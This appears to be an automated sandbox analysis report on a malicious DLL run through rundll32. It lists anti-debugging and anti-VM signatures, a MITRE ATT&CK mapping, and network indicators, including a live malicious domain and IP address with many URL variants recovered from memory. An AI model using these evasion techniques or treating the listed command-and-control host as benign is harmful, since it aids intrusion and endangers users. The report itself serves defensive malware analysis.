Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Source: C:\Windows\SysWOW64\rundll32.exe

API coverage: 5.7 %

Source: C:\Windows\System32\conhost.exe

Last function: Thread delayed

Source: C:\Windows\System32\loaddll32.exe

Thread delayed: delay time: 120000

Jump to behavior

Source: rundll32.exe, 00000003.00000003.1999623328.0000000002683000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.3364020428.0000000002677000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.2114642381.0000000002675000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.2250789067.0000000002677000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.2250814212.000000000267C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.2463765770.0000000002683000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000002.3515333472.000000000262A000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.3317683045.0000000002676000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.2224389107.0000000002676000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.2266851055.0000000002683000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.2198533449.000000000267C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: rundll32.exe, 00000004.00000002.3515436258.000000000302A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWh
Source: rundll32.exe, 00000005.00000003.2373382305.0000000002CC1000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000003.3090393306.0000000002CC2000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000003.3083721235.0000000002CC2000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000002.3515524508.0000000002CBA000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000003.3416592082.0000000002CBA000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000003.2025187894.0000000002CBA000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000003.3432547526.0000000002CBA000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000003.3183245920.0000000002CC2000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000003.2963223960.0000000002CC1000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000003.3210861117.0000000002CC2000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000003.3478687704.0000000002CBA000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWH
Source: rundll32.exe, 00000005.00000002.3515385164.0000000002C7A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW(
Source: rundll32.exe, 00000003.00000003.1999623328.0000000002683000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.3364020428.0000000002677000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.2114642381.0000000002675000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.2250789067.0000000002677000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.2250814212.000000000267C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.2463765770.0000000002683000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.3317683045.0000000002676000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.2224389107.0000000002676000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.2266851055.0000000002683000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.2198533449.000000000267C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.2441397726.0000000002683000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWL

Anti Debugging

Found API chain indicative of debugger detection

Source: C:\Windows\SysWOW64\rundll32.exe

Debugger detection routine: QueryPerformanceCounter, DebugActiveProcess, DecisionNodes, ExitProcess or Sleep

graph_3-1119

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: 4_2_04ADB906 LdrGetProcedureAddress,

4_2_04ADB906

Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_3_02925DB5 mov edx, dword ptr fs:[00000030h]	3_3_02925DB5
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_3_02926315 mov eax, dword ptr fs:[00000030h]	3_3_02926315
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_3_029263F5 mov eax, dword ptr fs:[00000030h]	3_3_029263F5
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_650C2454 mov eax, dword ptr fs:[00000030h]	3_2_650C2454
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_3_03195DB5 mov edx, dword ptr fs:[00000030h]	4_3_03195DB5
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_3_03196315 mov eax, dword ptr fs:[00000030h]	4_3_03196315
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_3_031963F5 mov eax, dword ptr fs:[00000030h]	4_3_031963F5
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_3_02DA5DB5 mov edx, dword ptr fs:[00000030h]	5_3_02DA5DB5
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_3_02DA63F5 mov eax, dword ptr fs:[00000030h]	5_3_02DA63F5
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_3_02DA6315 mov eax, dword ptr fs:[00000030h]	5_3_02DA6315

Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_650C1600 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,abort,		3_2_650C1600
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_650C15FC SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,abort,		3_2_650C15FC

HIPS / PFW / Operating System Protection Evasion

System process connects to network (likely due to code injection or exploit)

Source: C:\Windows\SysWOW64\rundll32.exe

Network Connect: 104.21.62.151 443

Jump to behavior

Source: C:\Windows\SysWOW64\cmd.exe

Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe "C:\Users\user\Desktop\appbase.dll",#1

Jump to behavior

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: 3_2_650C1540 GetSystemTimeAsFileTime,GetCurrentProcessId,GetCurrentThreadId,GetTickCount,QueryPerformanceCounter,

3_2_650C1540

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	Windows Management Instrumentation	1 DLL Side-Loading	111 Process Injection	1 Rundll32	OS Credential Dumping	1 System Time Discovery	Remote Services	1 Archive Collected Data	11 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	1 DLL Side-Loading	11 Virtualization/Sandbox Evasion	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	2 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	111 Process Injection	Security Account Manager	11 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	13 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 DLL Side-Loading	NTDS	2 System Information Discovery	Distributed Component Object Model	Input Capture	Protocol Impersonation	Traffic Duplication	Data Destruction

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Name	IP	Active	Malicious	Antivirus Detection	Reputation
wpad.ru0994ecs.net	104.21.62.151	true	true		unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://wpad.ru0994ecs.net/wpad.dat	true		unknown

URLs from Memory and Binaries

Name	Source	Malicious	Reputation
https://wpad.ru0994ecs.net/l	rundll32.exe, 00000003.00000003.2162033052.000000000269C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.1981256882.00000000026BD000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.1832583206.00000000026A0000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.1900425076.00000000026BD000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.1838595869.00000000026A0000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.1864438428.00000000026BD000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.1796170581.00000000026A0000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.2051678434.000000000269C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.1999420548.000000000269C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.1749913253.00000000026A0000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.2198421191.000000000269C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.1906497507.00000000026BC000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.1999647591.00000000026BC000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.1932310717.00000000026BD000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.1906359698.000000000269C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.2114553817.000000000269C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.2005539819.00000000026BD000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.2224167350.000000000269C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.2250679815.000000000269C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.2057774645.000000000269C000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://wpad.ru0994ecs.net/wpad.datM	rundll32.exe, 00000004.00000003.1898998200.00000000030BB000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.2463444016.00000000030BB000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.2463349949.0000000003096000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.3197143218.0000000003096000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.2224622245.0000000003096000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.3135111633.0000000003096000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.2267145559.0000000003096000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.3233371202.0000000003096000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.1836609612.000000000309A000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.2912623456.0000000003096000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.2717319006.0000000003096000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.3021337022.0000000003096000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.2671081383.0000000003096000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.1702420363.000000000309A000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://wpad.ru0994ecs.net/4	rundll32.exe, 00000003.00000003.1703416363.00000000026A0000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.1999420548.000000000269C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.1999647591.00000000026BC000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.2775451537.000000000269C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.2821546858.000000000269C000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://wpad.ru0994ecs.net/t	rundll32.exe, 00000003.00000003.2607983377.000000000269C000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://wpad.ru0994ecs.net/wpad.datY	rundll32.exe, 00000004.00000003.1831103148.000000000309A000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.1794713226.000000000309A000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://wpad.ru0994ecs.net/xNh	rundll32.exe, 00000003.00000003.2490132601.00000000026BD000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.2441322143.000000000269C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.2405314352.000000000269C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.2463624537.00000000026BD000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.2457396280.000000000269C000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://wpad.ru0994ecs.net/	rundll32.exe, 00000003.00000003.2490132601.00000000026BD000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.1999623328.0000000002683000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.3364020428.0000000002677000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.2660590828.00000000026BD000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.2114642381.0000000002675000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.2250789067.0000000002677000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.2162033052.000000000269C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.3113522873.000000000269C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.2250814212.000000000267C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.2463765770.0000000002683000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.3317534971.000000000269C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.1981256882.00000000026BD000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.1703416363.00000000026A0000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.1832583206.00000000026A0000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.3205871358.00000000026BD000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.1900425076.00000000026BD000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.3317683045.0000000002676000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000002.3515545940.000000000269C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.2224389107.0000000002676000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.2266851055.0000000002683000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.3077508164.000000000269C000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://wpad.ru0994ecs.net/2	rundll32.exe, 00000004.00000002.3515675465.0000000003096000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.3506254990.0000000003096000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://wpad.ru0994ecs.net/p	rundll32.exe, 00000003.00000003.1981256882.00000000026BD000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.1703416363.00000000026A0000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.1832583206.00000000026A0000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.1900425076.00000000026BD000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.1838595869.00000000026A0000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.1864438428.00000000026BD000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.1796170581.00000000026A0000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.2051678434.000000000269C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.1999420548.000000000269C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.1749913253.00000000026A0000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.1906497507.00000000026BC000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.1999647591.00000000026BC000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.1932310717.00000000026BD000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.1906359698.000000000269C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.2005539819.00000000026BD000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000003.2025131776.0000000002CE5000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000003.1961640759.0000000002CE6000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000003.2061544445.0000000002CE4000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000003.2113304159.0000000002D0C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000003.1999305434.0000000002CE5000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000003.2077555864.0000000002D0C000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://wpad.ru0994ecs.net/wpad.datU	rundll32.exe, 00000005.00000003.1842350340.0000000002CEC000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://wpad.ru0994ecs.net/wpad.dat4ecs.net/wpad.dat	rundll32.exe, 00000003.00000003.1796170581.00000000026A0000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://wpad.ru0994ecs.net/(Th	rundll32.exe, 00000003.00000002.3515545940.000000000269C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.3488651887.000000000269C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.3363949383.000000000269C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.3445890801.000000000269C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.3482061788.000000000269C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.3409796147.000000000269C000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://wpad.ru0994ecs.net/Z	rundll32.exe, 00000004.00000003.2820274116.0000000003096000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.2866589228.0000000003096000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://wpad.ru0994ecs.net/8Ih	rundll32.exe, 00000003.00000003.2879671467.000000000269C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.2821546858.000000000269C000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://wpad.ru0994ecs.net/wpad.dat=	rundll32.exe, 00000003.00000003.1838595869.00000000026A0000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000003.3478687704.0000000002CE0000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000003.3314356379.0000000002CE0000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000002.3515524508.0000000002CE0000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://wpad.ru0994ecs.net/$	rundll32.exe, 00000003.00000003.2490132601.00000000026BD000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.3317534971.000000000269C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.2463624537.00000000026BD000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.2514390319.000000000269C000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://wpad.ru0994ecs.net/d	rundll32.exe, 00000003.00000003.2051678434.000000000269C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.2114553817.000000000269C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.2673175788.000000000269C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.2005539819.00000000026BD000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.2057774645.000000000269C000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://wpad.ru0994ecs.net/wpad.dat7abw	rundll32.exe, 00000003.00000003.2162033052.000000000269C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.3113522873.000000000269C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.3317534971.000000000269C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.2666822258.000000000269C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.3205871358.000000000269C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.3077508164.000000000269C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.3260916225.000000000269C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.1900425076.000000000269C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.2051678434.000000000269C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.2441322143.000000000269C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.3363949383.000000000269C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.2405314352.000000000269C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.1999420548.000000000269C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.2349288767.000000000269C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.2490132601.000000000269C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.2266738274.000000000269C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.2198421191.000000000269C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.3482061788.000000000269C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.1906359698.000000000269C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.2114553817.000000000269C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.2302892655.000000000269C000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://wpad.ru0994ecs.net/wpad.datC	rundll32.exe, 00000003.00000003.2490132601.00000000026BD000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.2162033052.000000000269C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.3113522873.000000000269C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.3317534971.000000000269C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.1703416363.00000000026A0000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.3205871358.00000000026BD000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.1749913253.00000000026A0000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.3445890801.000000000269C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.3482061788.000000000269C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.2114553817.000000000269C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.3051591220.000000000269C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.3409796147.000000000269C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.2666822258.00000000026BD000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.2821546858.000000000269C000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://wpad.ru0994ecs.net/wpad.datq	rundll32.exe, 00000005.00000003.1785797407.0000000002CEC000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000003.1842350340.0000000002CEC000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://wpad.ru0994ecs.net/wpad.datn	rundll32.exe, 00000004.00000003.2984958268.0000000003096000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.2607141649.00000000030BC000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.3382273228.0000000003096000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.1831103148.000000000309A000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.2489783271.00000000030BB000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.1898998200.00000000030BB000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000002.3515675465.0000000003096000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.2463444016.00000000030BB000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.2302804486.0000000003096000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.2463349949.0000000003096000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.2162530364.00000000030BB000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.3037365252.0000000003096000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.3289915691.0000000003096000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.2058522410.00000000030BC000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.2441058430.0000000003096000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.2820274116.0000000003096000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.3063237477.0000000003096000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.2006184425.00000000030BB000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.1977367907.00000000030BB000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.3191130293.0000000003096000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.2561258595.00000000030BC000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://wpad.ru0994ecs.net/J	rundll32.exe, 00000004.00000003.2671081383.0000000003096000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://wpad.ru0994ecs.net/wpad.datl	rundll32.exe, 00000004.00000002.3515675465.0000000003096000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.3289915691.0000000003096000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.2820274116.0000000003096000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.3191130293.0000000003096000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.2006184425.0000000003096000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.2224622245.0000000003096000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.3135111633.0000000003096000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.2058396910.0000000003096000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.2267145559.0000000003096000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.2664640600.0000000003096000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.2348536837.0000000003096000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.2717319006.0000000003096000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.3506254990.0000000003096000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.2457095509.0000000003096000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.2866589228.0000000003096000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.2250965364.0000000003096000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.3417959712.0000000003096000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.2659020307.0000000003096000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.1905348497.0000000003096000.00000004.00000020.00020000.00000000.sdmp	false	unknown
